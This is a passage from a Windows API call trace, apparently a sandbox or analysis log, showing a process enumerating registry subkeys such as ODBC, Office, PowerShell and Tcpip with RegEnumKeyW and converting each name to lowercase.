lpUsedDefaultChar=0x0) returned 7 [0206.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x9db930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x9dc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0206.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x9db930, cchName=0x104 | out: lpName="Office") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0206.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x9db930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x9dc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0206.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x9db930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0206.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x9db930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x9dc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x9db930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x9db930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x9db930, cchName=0x104 | out: lpName="Print") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x9db930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x9db930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x9db930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0206.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x9db930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x9dc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x9db930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x9db930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x9db930, cchName=0x104 | out: lpName="Router") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x9db930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x9db930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x9dc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0206.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x9db930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x9db930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x9dc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x9db930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x9db930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x9db930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x9db930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0206.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x9dc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0206.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x9db930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x9db930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x9db930, cchName=0x104 | out: lpName="Software") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x9db930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x9db930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x9db930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x9dc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0206.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x9db930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x9db930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x9dc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x9db930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x9dc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x9db930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x9db930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x9db930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0206.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x9dc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0206.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x9db930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x9dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0206.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x9db930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0206.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x9db930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0206.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x9db930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0206.081] RegEnumKeyW (in: hKey=0x24, 